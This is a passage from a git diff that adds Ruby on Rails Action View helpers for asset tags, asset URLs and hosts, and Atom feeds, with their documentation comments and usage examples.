+      # replaces them with spaces, returning a space-separated, titleized
+      # string.
+      #
+      # ==== Examples
+      #
+      #   image_alt('rails.png')
+      #   # => Rails
+      #
+      #   image_alt('hyphenated-file-name.png')
+      #   # => Hyphenated file name
+      #
+      #   image_alt('underscored_file_name.png')
+      #   # => Underscored file name
+      def image_alt(src)
+        File.basename(src, ".*".freeze).sub(/-[[:xdigit:]]{32,64}\z/, "".freeze).tr("-_".freeze, " ".freeze).capitalize
+      end
+
+      # Returns an HTML video tag for the +sources+. If +sources+ is a string,
+      # a single video tag will be returned. If +sources+ is an array, a video
+      # tag with nested source tags for each source will be returned. The
+      # +sources+ can be full paths or files that exists in your public videos
+      # directory.
+      #
+      # ==== Options
+      # You can add HTML attributes using the +options+. The +options+ supports
+      # two additional keys for convenience and conformance:
+      #
+      # * <tt>:poster</tt> - Set an image (like a screenshot) to be shown
+      #   before the video loads. The path is calculated like the +src+ of +image_tag+.
+      # * <tt>:size</tt> - Supplied as "{Width}x{Height}" or "{Number}", so "30x45" becomes
+      #   width="30" and height="45", and "50" becomes width="50" and height="50".
+      #   <tt>:size</tt> will be ignored if the value is not in the correct format.
+      # * <tt>:poster_skip_pipeline</tt> will bypass the asset pipeline when using
+      #   the <tt>:poster</tt> option instead using an asset in the public folder.
+      #
+      # ==== Examples
+      #
+      #   video_tag("trailer")
+      #   # => <video src="/videos/trailer"></video>
+      #   video_tag("trailer.ogg")
+      #   # => <video src="/videos/trailer.ogg"></video>
+      #   video_tag("trailer.ogg", controls: true, preload: 'none')
+      #   # => <video preload="none" controls="controls" src="/videos/trailer.ogg" ></video>
+      #   video_tag("trailer.m4v", size: "16x10", poster: "screenshot.png")
+      #   # => <video src="/videos/trailer.m4v" width="16" height="10" poster="/assets/screenshot.png"></video>
+      #   video_tag("trailer.m4v", size: "16x10", poster: "screenshot.png", poster_skip_pipeline: true)
+      #   # => <video src="/videos/trailer.m4v" width="16" height="10" poster="screenshot.png"></video>
+      #   video_tag("/trailers/hd.avi", size: "16x16")
+      #   # => <video src="/trailers/hd.avi" width="16" height="16"></video>
+      #   video_tag("/trailers/hd.avi", size: "16")
+      #   # => <video height="16" src="/trailers/hd.avi" width="16"></video>
+      #   video_tag("/trailers/hd.avi", height: '32', width: '32')
+      #   # => <video height="32" src="/trailers/hd.avi" width="32"></video>
+      #   video_tag("trailer.ogg", "trailer.flv")
+      #   # => <video><source src="/videos/trailer.ogg" /><source src="/videos/trailer.flv" /></video>
+      #   video_tag(["trailer.ogg", "trailer.flv"])
+      #   # => <video><source src="/videos/trailer.ogg" /><source src="/videos/trailer.flv" /></video>
+      #   video_tag(["trailer.ogg", "trailer.flv"], size: "160x120")
+      #   # => <video height="120" width="160"><source src="/videos/trailer.ogg" /><source src="/videos/trailer.flv" /></video>
+      def video_tag(*sources)
+        options = sources.extract_options!.symbolize_keys
+        public_poster_folder = options.delete(:poster_skip_pipeline)
+        sources << options
+        multiple_sources_tag_builder("video", sources) do |tag_options|
+          tag_options[:poster] = path_to_image(tag_options[:poster], skip_pipeline: public_poster_folder) if tag_options[:poster]
+          tag_options[:width], tag_options[:height] = extract_dimensions(tag_options.delete(:size)) if tag_options[:size]
+        end
+      end
+
+      # Returns an HTML audio tag for the +source+.
+      # The +source+ can be full path or file that exists in
+      # your public audios directory.
+      #
+      #   audio_tag("sound")
+      #   # => <audio src="/audios/sound"></audio>
+      #   audio_tag("sound.wav")
+      #   # => <audio src="/audios/sound.wav"></audio>
+      #   audio_tag("sound.wav", autoplay: true, controls: true)
+      #   # => <audio autoplay="autoplay" controls="controls" src="/audios/sound.wav"></audio>
+      #   audio_tag("sound.wav", "sound.mid")
+      #   # => <audio><source src="/audios/sound.wav" /><source src="/audios/sound.mid" /></audio>
+      def audio_tag(*sources)
+        multiple_sources_tag_builder("audio", sources)
+      end
+
+      private
+        def multiple_sources_tag_builder(type, sources)
+          options       = sources.extract_options!.symbolize_keys
+          skip_pipeline = options.delete(:skip_pipeline)
+          sources.flatten!
+
+          yield options if block_given?
+
+          if sources.size > 1
+            content_tag(type, options) do
+              safe_join sources.map { |source| tag("source", src: send("path_to_#{type}", source, skip_pipeline: skip_pipeline)) }
+            end
+          else
+            options[:src] = send("path_to_#{type}", sources.first, skip_pipeline: skip_pipeline)
+            content_tag(type, nil, options)
+          end
+        end
+
+        def extract_dimensions(size)
+          size = size.to_s
+          if /\A\d+x\d+\z/.match?(size)
+            size.split("x")
+          elsif /\A\d+\z/.match?(size)
+            [size, size]
+          end
+        end
+
+        def check_for_image_tag_errors(options)
+          if options[:size] && (options[:height] || options[:width])
+            raise ArgumentError, "Cannot pass a :size option with a :height or :width option"
+          end
+        end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/helpers/asset_url_helper.rb b/actionview/lib/action_view/helpers/asset_url_helper.rb
new file mode 100644
index 0000000000..4c131aa27a
--- /dev/null
+++ b/actionview/lib/action_view/helpers/asset_url_helper.rb
@@ -0,0 +1,469 @@
+# frozen_string_literal: true
+
+require "zlib"
+
+module ActionView
+  # = Action View Asset URL Helpers
+  module Helpers
+    # This module provides methods for generating asset paths and
+    # urls.
+    #
+    #   image_path("rails.png")
+    #   # => "/assets/rails.png"
+    #
+    #   image_url("rails.png")
+    #   # => "http://www.example.com/assets/rails.png"
+    #
+    # === Using asset hosts
+    #
+    # By default, Rails links to these assets on the current host in the public
+    # folder, but you can direct Rails to link to assets from a dedicated asset
+    # server by setting <tt>ActionController::Base.asset_host</tt> in the application
+    # configuration, typically in <tt>config/environments/production.rb</tt>.
+    # For example, you'd define <tt>assets.example.com</tt> to be your asset
+    # host this way, inside the <tt>configure</tt> block of your environment-specific
+    # configuration files or <tt>config/application.rb</tt>:
+    #
+    #   config.action_controller.asset_host = "assets.example.com"
+    #
+    # Helpers take that into account:
+    #
+    #   image_tag("rails.png")
+    #   # => <img alt="Rails" src="http://assets.example.com/assets/rails.png" />
+    #   stylesheet_link_tag("application")
+    #   # => <link href="http://assets.example.com/assets/application.css" media="screen" rel="stylesheet" />
+    #
+    # Browsers open a limited number of simultaneous connections to a single
+    # host. The exact number varies by browser and version. This limit may cause
+    # some asset downloads to wait for previous assets to finish before they can
+    # begin. You can use the <tt>%d</tt> wildcard in the +asset_host+ to
+    # distribute the requests over four hosts. For example,
+    # <tt>assets%d.example.com</tt> will spread the asset requests over
+    # "assets0.example.com", ..., "assets3.example.com".
+    #
+    #   image_tag("rails.png")
+    #   # => <img alt="Rails" src="http://assets0.example.com/assets/rails.png" />
+    #   stylesheet_link_tag("application")
+    #   # => <link href="http://assets2.example.com/assets/application.css" media="screen" rel="stylesheet" />
+    #
+    # This may improve the asset loading performance of your application.
+    # It is also possible the combination of additional connection overhead
+    # (DNS, SSL) and the overall browser connection limits may result in this
+    # solution being slower. You should be sure to measure your actual
+    # performance across targeted browsers both before and after this change.
+    #
+    # To implement the corresponding hosts you can either setup four actual
+    # hosts or use wildcard DNS to CNAME the wildcard to a single asset host.
+    # You can read more about setting up your DNS CNAME records from your ISP.
+    #
+    # Note: This is purely a browser performance optimization and is not meant
+    # for server load balancing. See http://www.die.net/musings/page_load_time/
+    # for background and http://www.browserscope.org/?category=network for
+    # connection limit data.
+    #
+    # Alternatively, you can exert more control over the asset host by setting
+    # +asset_host+ to a proc like this:
+    #
+    #   ActionController::Base.asset_host = Proc.new { |source|
+    #     "http://assets#{Digest::MD5.hexdigest(source).to_i(16) % 2 + 1}.example.com"
+    #   }
+    #   image_tag("rails.png")
+    #   # => <img alt="Rails" src="http://assets1.example.com/assets/rails.png" />
+    #   stylesheet_link_tag("application")
+    #   # => <link href="http://assets2.example.com/assets/application.css" media="screen" rel="stylesheet" />
+    #
+    # The example above generates "http://assets1.example.com" and
+    # "http://assets2.example.com". This option is useful for example if
+    # you need fewer/more than four hosts, custom host names, etc.
+    #
+    # As you see the proc takes a +source+ parameter. That's a string with the
+    # absolute path of the asset, for example "/assets/rails.png".
+    #
+    #    ActionController::Base.asset_host = Proc.new { |source|
+    #      if source.ends_with?('.css')
+    #        "http://stylesheets.example.com"
+    #      else
+    #        "http://assets.example.com"
+    #      end
+    #    }
+    #   image_tag("rails.png")
+    #   # => <img alt="Rails" src="http://assets.example.com/assets/rails.png" />
+    #   stylesheet_link_tag("application")
+    #   # => <link href="http://stylesheets.example.com/assets/application.css" media="screen" rel="stylesheet" />
+    #
+    # Alternatively you may ask for a second parameter +request+. That one is
+    # particularly useful for serving assets from an SSL-protected page. The
+    # example proc below disables asset hosting for HTTPS connections, while
+    # still sending assets for plain HTTP requests from asset hosts. If you don't
+    # have SSL certificates for each of the asset hosts this technique allows you
+    # to avoid warnings in the client about mixed media.
+    # Note that the request parameter might not be supplied, e.g. when the assets
+    # are precompiled via a Rake task. Make sure to use a +Proc+ instead of a lambda,
+    # since a +Proc+ allows missing parameters and sets them to +nil+.
+    #
+    #   config.action_controller.asset_host = Proc.new { |source, request|
+    #     if request && request.ssl?
+    #       "#{request.protocol}#{request.host_with_port}"
+    #     else
+    #       "#{request.protocol}assets.example.com"
+    #     end
+    #   }
+    #
+    # You can also implement a custom asset host object that responds to +call+
+    # and takes either one or two parameters just like the proc.
+    #
+    #   config.action_controller.asset_host = AssetHostingWithMinimumSsl.new(
+    #     "http://asset%d.example.com", "https://asset1.example.com"
+    #   )
+    #
+    module AssetUrlHelper
+      URI_REGEXP = %r{^[-a-z]+://|^(?:cid|data):|^//}i
+
+      # This is the entry point for all assets.
+      # When using the asset pipeline (i.e. sprockets and sprockets-rails), the
+      # behavior is "enhanced". You can bypass the asset pipeline by passing in
+      # <tt>skip_pipeline: true</tt> to the options.
+      #
+      # All other asset *_path helpers delegate through this method.
+      #
+      # === With the asset pipeline
+      #
+      # All options passed to +asset_path+ will be passed to +compute_asset_path+
+      # which is implemented by sprockets-rails.
+      #
+      #   asset_path("application.js") # => "/assets/application-60aa4fdc5cea14baf5400fba1abf4f2a46a5166bad4772b1effe341570f07de9.js"
+      #
+      # === Without the asset pipeline (<tt>skip_pipeline: true</tt>)
+      #
+      # Accepts a <tt>type</tt> option that can specify the asset's extension. No error
+      # checking is done to verify the source passed into +asset_path+ is valid
+      # and that the file exists on disk.
+      #
+      #   asset_path("application.js", skip_pipeline: true)                 # => "application.js"
+      #   asset_path("filedoesnotexist.png", skip_pipeline: true)           # => "filedoesnotexist.png"
+      #   asset_path("application", type: :javascript, skip_pipeline: true) # => "/javascripts/application.js"
+      #   asset_path("application", type: :stylesheet, skip_pipeline: true) # => "/stylesheets/application.css"
+      #
+      # === Options applying to all assets
+      #
+      # Below lists scenarios that apply to +asset_path+ whether or not you're
+      # using the asset pipeline.
+      #
+      # - All fully qualified urls are returned immediately. This bypasses the
+      #   asset pipeline and all other behavior described.
+      #
+      #     asset_path("http://www.example.com/js/xmlhr.js") # => "http://www.example.com/js/xmlhr.js"
+      #
+      # - All assets that begin with a forward slash are assumed to be full
+      #   urls and will not be expanded. This will bypass the asset pipeline.
+      #
+      #     asset_path("/foo.png") # => "/foo.png"
+      #
+      # - All blank strings will be returned immediately. This bypasses the
+      #   asset pipeline and all other behavior described.
+      #
+      #     asset_path("") # => ""
+      #
+      # - If <tt>config.relative_url_root</tt> is specified, all assets will have that
+      #   root prepended.
+      #
+      #     Rails.application.config.relative_url_root = "bar"
+      #     asset_path("foo.js", skip_pipeline: true) # => "bar/foo.js"
+      #
+      # - A different asset host can be specified via <tt>config.action_controller.asset_host</tt>
+      #   this is commonly used in conjunction with a CDN.
+      #
+      #     Rails.application.config.action_controller.asset_host = "assets.example.com"
+      #     asset_path("foo.js", skip_pipeline: true) # => "http://assets.example.com/foo.js"
+      #
+      # - An extension name can be specified manually with <tt>extname</tt>.
+      #
+      #     asset_path("foo", skip_pipeline: true, extname: ".js")     # => "/foo.js"
+      #     asset_path("foo.css", skip_pipeline: true, extname: ".js") # => "/foo.css.js"
+      def asset_path(source, options = {})
+        raise ArgumentError, "nil is not a valid asset source" if source.nil?
+
+        source = source.to_s
+        return "" if source.blank?
+        return source if URI_REGEXP.match?(source)
+
+        tail, source = source[/([\?#].+)$/], source.sub(/([\?#].+)$/, "".freeze)
+
+        if extname = compute_asset_extname(source, options)
+          source = "#{source}#{extname}"
+        end
+
+        if source[0] != ?/
+          if options[:skip_pipeline]
+            source = public_compute_asset_path(source, options)
+          else
+            source = compute_asset_path(source, options)
+          end
+        end
+
+        relative_url_root = defined?(config.relative_url_root) && config.relative_url_root
+        if relative_url_root
+          source = File.join(relative_url_root, source) unless source.starts_with?("#{relative_url_root}/")
+        end
+
+        if host = compute_asset_host(source, options)
+          source = File.join(host, source)
+        end
+
+        "#{source}#{tail}"
+      end
+      alias_method :path_to_asset, :asset_path # aliased to avoid conflicts with an asset_path named route
+
+      # Computes the full URL to an asset in the public directory. This
+      # will use +asset_path+ internally, so most of their behaviors
+      # will be the same. If :host options is set, it overwrites global
+      # +config.action_controller.asset_host+ setting.
+      #
+      # All other options provided are forwarded to +asset_path+ call.
+      #
+      #   asset_url "application.js"                                 # => http://example.com/assets/application.js
+      #   asset_url "application.js", host: "http://cdn.example.com" # => http://cdn.example.com/assets/application.js
+      #
+      def asset_url(source, options = {})
+        path_to_asset(source, options.merge(protocol: :request))
+      end
+      alias_method :url_to_asset, :asset_url # aliased to avoid conflicts with an asset_url named route
+
+      ASSET_EXTENSIONS = {
+        javascript: ".js",
+        stylesheet: ".css"
+      }
+
+      # Compute extname to append to asset path. Returns +nil+ if
+      # nothing should be added.
+      def compute_asset_extname(source, options = {})
+        return if options[:extname] == false
+        extname = options[:extname] || ASSET_EXTENSIONS[options[:type]]
+        if extname && File.extname(source) != extname
+          extname
+        else
+          nil
+        end
+      end
+
+      # Maps asset types to public directory.
+      ASSET_PUBLIC_DIRECTORIES = {
+        audio:      "/audios",
+        font:       "/fonts",
+        image:      "/images",
+        javascript: "/javascripts",
+        stylesheet: "/stylesheets",
+        video:      "/videos"
+      }
+
+      # Computes asset path to public directory. Plugins and
+      # extensions can override this method to point to custom assets
+      # or generate digested paths or query strings.
+      def compute_asset_path(source, options = {})
+        dir = ASSET_PUBLIC_DIRECTORIES[options[:type]] || ""
+        File.join(dir, source)
+      end
+      alias :public_compute_asset_path :compute_asset_path
+
+      # Pick an asset host for this source. Returns +nil+ if no host is set,
+      # the host if no wildcard is set, the host interpolated with the
+      # numbers 0-3 if it contains <tt>%d</tt> (the number is the source hash mod 4),
+      # or the value returned from invoking call on an object responding to call
+      # (proc or otherwise).
+      def compute_asset_host(source = "", options = {})
+        request = self.request if respond_to?(:request)
+        host = options[:host]
+        host ||= config.asset_host if defined? config.asset_host
+
+        if host
+          if host.respond_to?(:call)
+            arity = host.respond_to?(:arity) ? host.arity : host.method(:call).arity
+            args = [source]
+            args << request if request && (arity > 1 || arity < 0)
+            host = host.call(*args)
+          elsif host.include?("%d")
+            host = host % (Zlib.crc32(source) % 4)
+          end
+        end
+
+        host ||= request.base_url if request && options[:protocol] == :request
+        return unless host
+
+        if URI_REGEXP.match?(host)
+          host
+        else
+          protocol = options[:protocol] || config.default_asset_host_protocol || (request ? :request : :relative)
+          case protocol
+          when :relative
+            "//#{host}"
+          when :request
+            "#{request.protocol}#{host}"
+          else
+            "#{protocol}://#{host}"
+          end
+        end
+      end
+
+      # Computes the path to a JavaScript asset in the public javascripts directory.
+      # If the +source+ filename has no extension, .js will be appended (except for explicit URIs)
+      # Full paths from the document root will be passed through.
+      # Used internally by +javascript_include_tag+ to build the script path.
+      #
+      #   javascript_path "xmlhr"                              # => /assets/xmlhr.js
+      #   javascript_path "dir/xmlhr.js"                       # => /assets/dir/xmlhr.js
+      #   javascript_path "/dir/xmlhr"                         # => /dir/xmlhr.js
+      #   javascript_path "http://www.example.com/js/xmlhr"    # => http://www.example.com/js/xmlhr
+      #   javascript_path "http://www.example.com/js/xmlhr.js" # => http://www.example.com/js/xmlhr.js
+      def javascript_path(source, options = {})
+        path_to_asset(source, { type: :javascript }.merge!(options))
+      end
+      alias_method :path_to_javascript, :javascript_path # aliased to avoid conflicts with a javascript_path named route
+
+      # Computes the full URL to a JavaScript asset in the public javascripts directory.
+      # This will use +javascript_path+ internally, so most of their behaviors will be the same.
+      # Since +javascript_url+ is based on +asset_url+ method you can set :host options. If :host
+      # options is set, it overwrites global +config.action_controller.asset_host+ setting.
+      #
+      #   javascript_url "js/xmlhr.js", host: "http://stage.example.com" # => http://stage.example.com/assets/dir/xmlhr.js
+      #
+      def javascript_url(source, options = {})
+        url_to_asset(source, { type: :javascript }.merge!(options))
+      end
+      alias_method :url_to_javascript, :javascript_url # aliased to avoid conflicts with a javascript_url named route
+
+      # Computes the path to a stylesheet asset in the public stylesheets directory.
+      # If the +source+ filename has no extension, .css will be appended (except for explicit URIs).
+      # Full paths from the document root will be passed through.
+      # Used internally by +stylesheet_link_tag+ to build the stylesheet path.
+      #
+      #   stylesheet_path "style"                                  # => /assets/style.css
+      #   stylesheet_path "dir/style.css"                          # => /assets/dir/style.css
+      #   stylesheet_path "/dir/style.css"                         # => /dir/style.css
+      #   stylesheet_path "http://www.example.com/css/style"       # => http://www.example.com/css/style
+      #   stylesheet_path "http://www.example.com/css/style.css"   # => http://www.example.com/css/style.css
+      def stylesheet_path(source, options = {})
+        path_to_asset(source, { type: :stylesheet }.merge!(options))
+      end
+      alias_method :path_to_stylesheet, :stylesheet_path # aliased to avoid conflicts with a stylesheet_path named route
+
+      # Computes the full URL to a stylesheet asset in the public stylesheets directory.
+      # This will use +stylesheet_path+ internally, so most of their behaviors will be the same.
+      # Since +stylesheet_url+ is based on +asset_url+ method you can set :host options. If :host
+      # options is set, it overwrites global +config.action_controller.asset_host+ setting.
+      #
+      #   stylesheet_url "css/style.css", host: "http://stage.example.com" # => http://stage.example.com/css/style.css
+      #
+      def stylesheet_url(source, options = {})
+        url_to_asset(source, { type: :stylesheet }.merge!(options))
+      end
+      alias_method :url_to_stylesheet, :stylesheet_url # aliased to avoid conflicts with a stylesheet_url named route
+
+      # Computes the path to an image asset.
+      # Full paths from the document root will be passed through.
+      # Used internally by +image_tag+ to build the image path:
+      #
+      #   image_path("edit")                                         # => "/assets/edit"
+      #   image_path("edit.png")                                     # => "/assets/edit.png"
+      #   image_path("icons/edit.png")                               # => "/assets/icons/edit.png"
+      #   image_path("/icons/edit.png")                              # => "/icons/edit.png"
+      #   image_path("http://www.example.com/img/edit.png")          # => "http://www.example.com/img/edit.png"
+      #
+      # If you have images as application resources this method may conflict with their named routes.
+      # The alias +path_to_image+ is provided to avoid that. Rails uses the alias internally, and
+      # plugin authors are encouraged to do so.
+      def image_path(source, options = {})
+        path_to_asset(source, { type: :image }.merge!(options))
+      end
+      alias_method :path_to_image, :image_path # aliased to avoid conflicts with an image_path named route
+
+      # Computes the full URL to an image asset.
+      # This will use +image_path+ internally, so most of their behaviors will be the same.
+      # Since +image_url+ is based on +asset_url+ method you can set :host options. If :host
+      # options is set, it overwrites global +config.action_controller.asset_host+ setting.
+      #
+      #   image_url "edit.png", host: "http://stage.example.com" # => http://stage.example.com/edit.png
+      #
+      def image_url(source, options = {})
+        url_to_asset(source, { type: :image }.merge!(options))
+      end
+      alias_method :url_to_image, :image_url # aliased to avoid conflicts with an image_url named route
+
+      # Computes the path to a video asset in the public videos directory.
+      # Full paths from the document root will be passed through.
+      # Used internally by +video_tag+ to build the video path.
+      #
+      #   video_path("hd")                                            # => /videos/hd
+      #   video_path("hd.avi")                                        # => /videos/hd.avi
+      #   video_path("trailers/hd.avi")                               # => /videos/trailers/hd.avi
+      #   video_path("/trailers/hd.avi")                              # => /trailers/hd.avi
+      #   video_path("http://www.example.com/vid/hd.avi")             # => http://www.example.com/vid/hd.avi
+      def video_path(source, options = {})
+        path_to_asset(source, { type: :video }.merge!(options))
+      end
+      alias_method :path_to_video, :video_path # aliased to avoid conflicts with a video_path named route
+
+      # Computes the full URL to a video asset in the public videos directory.
+      # This will use +video_path+ internally, so most of their behaviors will be the same.
+      # Since +video_url+ is based on +asset_url+ method you can set :host options. If :host
+      # options is set, it overwrites global +config.action_controller.asset_host+ setting.
+      #
+      #   video_url "hd.avi", host: "http://stage.example.com" # => http://stage.example.com/hd.avi
+      #
+      def video_url(source, options = {})
+        url_to_asset(source, { type: :video }.merge!(options))
+      end
+      alias_method :url_to_video, :video_url # aliased to avoid conflicts with a video_url named route
+
+      # Computes the path to an audio asset in the public audios directory.
+      # Full paths from the document root will be passed through.
+      # Used internally by +audio_tag+ to build the audio path.
+      #
+      #   audio_path("horse")                                            # => /audios/horse
+      #   audio_path("horse.wav")                                        # => /audios/horse.wav
+      #   audio_path("sounds/horse.wav")                                 # => /audios/sounds/horse.wav
+      #   audio_path("/sounds/horse.wav")                                # => /sounds/horse.wav
+      #   audio_path("http://www.example.com/sounds/horse.wav")          # => http://www.example.com/sounds/horse.wav
+      def audio_path(source, options = {})
+        path_to_asset(source, { type: :audio }.merge!(options))
+      end
+      alias_method :path_to_audio, :audio_path # aliased to avoid conflicts with an audio_path named route
+
+      # Computes the full URL to an audio asset in the public audios directory.
+      # This will use +audio_path+ internally, so most of their behaviors will be the same.
+      # Since +audio_url+ is based on +asset_url+ method you can set :host options. If :host
+      # options is set, it overwrites global +config.action_controller.asset_host+ setting.
+      #
+      #   audio_url "horse.wav", host: "http://stage.example.com" # => http://stage.example.com/horse.wav
+      #
+      def audio_url(source, options = {})
+        url_to_asset(source, { type: :audio }.merge!(options))
+      end
+      alias_method :url_to_audio, :audio_url # aliased to avoid conflicts with an audio_url named route
+
+      # Computes the path to a font asset.
+      # Full paths from the document root will be passed through.
+      #
+      #   font_path("font")                                           # => /fonts/font
+      #   font_path("font.ttf")                                       # => /fonts/font.ttf
+      #   font_path("dir/font.ttf")                                   # => /fonts/dir/font.ttf
+      #   font_path("/dir/font.ttf")                                  # => /dir/font.ttf
+      #   font_path("http://www.example.com/dir/font.ttf")            # => http://www.example.com/dir/font.ttf
+      def font_path(source, options = {})
+        path_to_asset(source, { type: :font }.merge!(options))
+      end
+      alias_method :path_to_font, :font_path # aliased to avoid conflicts with a font_path named route
+
+      # Computes the full URL to a font asset.
+      # This will use +font_path+ internally, so most of their behaviors will be the same.
+      # Since +font_url+ is based on +asset_url+ method you can set :host options. If :host
+      # options is set, it overwrites global +config.action_controller.asset_host+ setting.
+      #
+      #   font_url "font.ttf", host: "http://stage.example.com" # => http://stage.example.com/font.ttf
+      #
+      def font_url(source, options = {})
+        url_to_asset(source, { type: :font }.merge!(options))
+      end
+      alias_method :url_to_font, :font_url # aliased to avoid conflicts with a font_url named route
+    end
+  end
+end
diff --git a/actionview/lib/action_view/helpers/atom_feed_helper.rb b/actionview/lib/action_view/helpers/atom_feed_helper.rb
new file mode 100644
index 0000000000..34245b5df5
--- /dev/null
+++ b/actionview/lib/action_view/helpers/atom_feed_helper.rb
@@ -0,0 +1,205 @@
+# frozen_string_literal: true
+
+require "set"
+
+module ActionView
+  # = Action View Atom Feed Helpers
+  module Helpers
+    module AtomFeedHelper
+      # Adds easy defaults to writing Atom feeds with the Builder template engine (this does not work on ERB or any other
+      # template languages).
+      #
+      # Full usage example:
+      #
+      #   config/routes.rb:
+      #     Rails.application.routes.draw do
+      #       resources :posts
+      #       root to: "posts#index"
+      #     end
+      #
+      #   app/controllers/posts_controller.rb:
+      #     class PostsController < ApplicationController
+      #       # GET /posts.html
+      #       # GET /posts.atom
+      #       def index
+      #         @posts = Post.all
+      #
+      #         respond_to do |format|
+      #           format.html
+      #           format.atom
+      #         end
+      #       end
+      #     end
+      #
+      #   app/views/posts/index.atom.builder:
+      #     atom_feed do |feed|
+      #       feed.title("My great blog!")
+      #       feed.updated(@posts[0].created_at) if @posts.length > 0
+      #
+      #       @posts.each do |post|
+      #         feed.entry(post) do |entry|
+      #           entry.title(post.title)
+      #           entry.content(post.body, type: 'html')
+      #
+      #           entry.author do |author|
+      #             author.name("DHH")
+      #           end
+      #         end
+      #       end
+      #     end
+      #
+      # The options for atom_feed are:
+      #
+      # * <tt>:language</tt>: Defaults to "en-US".
+      # * <tt>:root_url</tt>: The HTML alternative that this feed is doubling for. Defaults to / on the current host.
+      # * <tt>:url</tt>: The URL for this feed. Defaults to the current URL.
+      # * <tt>:id</tt>: The id for this feed. Defaults to "tag:localhost,2005:/posts", in this case.
+      # * <tt>:schema_date</tt>: The date at which the tag scheme for the feed was first used. A good default is the year you
+      #   created the feed. See http://feedvalidator.org/docs/error/InvalidTAG.html for more information. If not specified,
+      #   2005 is used (as an "I don't care" value).
+      # * <tt>:instruct</tt>: Hash of XML processing instructions in the form {target => {attribute => value, }} or {target => [{attribute => value, }, ]}
+      #
+      # Other namespaces can be added to the root element:
+      #
+      #   app/views/posts/index.atom.builder:
+      #     atom_feed({'xmlns:app' => 'http://www.w3.org/2007/app',
+      #         'xmlns:openSearch' => 'http://a9.com/-/spec/opensearch/1.1/'}) do |feed|
+      #       feed.title("My great blog!")
+      #       feed.updated((@posts.first.created_at))
+      #       feed.tag!('openSearch:totalResults', 10)
+      #
+      #       @posts.each do |post|
+      #         feed.entry(post) do |entry|
+      #           entry.title(post.title)
+      #           entry.content(post.body, type: 'html')
+      #           entry.tag!('app:edited', Time.now)
+      #
+      #           entry.author do |author|
+      #             author.name("DHH")
+      #           end
+      #         end
+      #       end
+      #     end
+      #
+      # The Atom spec defines five elements (content rights title subtitle
+      # summary) which may directly contain xhtml content if type: 'xhtml'
+      # is specified as an attribute. If so, this helper will take care of
+      # the enclosing div and xhtml namespace declaration. Example usage:
+      #
+      #    entry.summary type: 'xhtml' do |xhtml|
+      #      xhtml.p pluralize(order.line_items.count, "line item")
+      #      xhtml.p "Shipped to #{order.address}"
+      #      xhtml.p "Paid by #{order.pay_type}"
+      #    end
+      #
+      #
+      # <tt>atom_feed</tt> yields an +AtomFeedBuilder+ instance. Nested elements yield
+      # an +AtomBuilder+ instance.
+      def atom_feed(options = {}, &block)
+        if options[:schema_date]
+          options[:schema_date] = options[:schema_date].strftime("%Y-%m-%d") if options[:schema_date].respond_to?(:strftime)
+        else
+          options[:schema_date] = "2005" # The Atom spec copyright date
+        end
+
+        xml = options.delete(:xml) || eval("xml", block.binding)
+        xml.instruct!
+        if options[:instruct]
+          options[:instruct].each do |target, attrs|
+            if attrs.respond_to?(:keys)
+              xml.instruct!(target, attrs)
+            elsif attrs.respond_to?(:each)
+              attrs.each { |attr_group| xml.instruct!(target, attr_group) }
+            end
+          end
+        end
+
+        feed_opts = { "xml:lang" => options[:language] || "en-US", "xmlns" => "http://www.w3.org/2005/Atom" }
+        feed_opts.merge!(options).reject! { |k, v| !k.to_s.match(/^xml/) }
+
+        xml.feed(feed_opts) do
+          xml.id(options[:id] || "tag:#{request.host},#{options[:schema_date]}:#{request.fullpath.split(".")[0]}")
+          xml.link(rel: "alternate", type: "text/html", href: options[:root_url] || (request.protocol + request.host_with_port))
+          xml.link(rel: "self", type: "application/atom+xml", href: options[:url] || request.url)
+
+          yield AtomFeedBuilder.new(xml, self, options)
+        end
+      end
+
+      class AtomBuilder #:nodoc:
+        XHTML_TAG_NAMES = %w(content rights title subtitle summary).to_set
+
+        def initialize(xml)
+          @xml = xml
+        end
+
+        private
+          # Delegate to xml builder, first wrapping the element in an xhtml
+          # namespaced div element if the method and arguments indicate
+          # that an xhtml_block? is desired.
+          def method_missing(method, *arguments, &block)
+            if xhtml_block?(method, arguments)
+              @xml.__send__(method, *arguments) do
+                @xml.div(xmlns: "http://www.w3.org/1999/xhtml") do |xhtml|
+                  block.call(xhtml)
+                end
+              end
+            else
+              @xml.__send__(method, *arguments, &block)
+            end
+          end
+
+          # True if the method name matches one of the five elements defined
+          # in the Atom spec as potentially containing XHTML content and
+          # if type: 'xhtml' is, in fact, specified.
+          def xhtml_block?(method, arguments)
+            if XHTML_TAG_NAMES.include?(method.to_s)
+              last = arguments.last
+              last.is_a?(Hash) && last[:type].to_s == "xhtml"
+            end
+          end
+      end
+
+      class AtomFeedBuilder < AtomBuilder #:nodoc:
+        def initialize(xml, view, feed_options = {})
+          @xml, @view, @feed_options = xml, view, feed_options
+        end
+
+        # Accepts a Date or Time object and inserts it in the proper format. If +nil+ is passed, current time in UTC is used.
+        def updated(date_or_time = nil)
+          @xml.updated((date_or_time || Time.now.utc).xmlschema)
+        end
+
+        # Creates an entry tag for a specific record and prefills the id using class and id.
+        #
+        # Options:
+        #
+        # * <tt>:published</tt>: Time first published. Defaults to the created_at attribute on the record if one such exists.
+        # * <tt>:updated</tt>: Time of update. Defaults to the updated_at attribute on the record if one such exists.
+        # * <tt>:url</tt>: The URL for this entry or +false+ or +nil+ for not having a link tag. Defaults to the +polymorphic_url+ for the record.
+        # * <tt>:id</tt>: The ID for this entry. Defaults to "tag:#{@view.request.host},#{@feed_options[:schema_date]}:#{record.class}/#{record.id}"
+        # * <tt>:type</tt>: The TYPE for this entry. Defaults to "text/html".
+        def entry(record, options = {})
+          @xml.entry do
+            @xml.id(options[:id] || "tag:#{@view.request.host},#{@feed_options[:schema_date]}:#{record.class}/#{record.id}")
+
+            if options[:published] || (record.respond_to?(:created_at) && record.created_at)
+              @xml.published((options[:published] || record.created_at).xmlschema)
+            end
+
+            if options[:updated] || (record.respond_to?(:updated_at) && record.updated_at)
+              @xml.updated((options[:updated] || record.updated_at).xmlschema)
+            end
+
+            type = options.fetch(:type, "text/html")
+
+            url = options.fetch(:url) { @view.polymorphic_url(record) }
+            @xml.link(rel: "alternate", type: type, href: url) if url
+
+            yield AtomBuilder.new(@xml)
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/helpers/cache_helper.rb b/actionview/lib/action_view/helpers/cache_helper.rb
new file mode 100644
index 0000000000..cd213ad6a2
--- /dev/null
+++ b/actionview/lib/action_view/helpers/cache_helper.rb
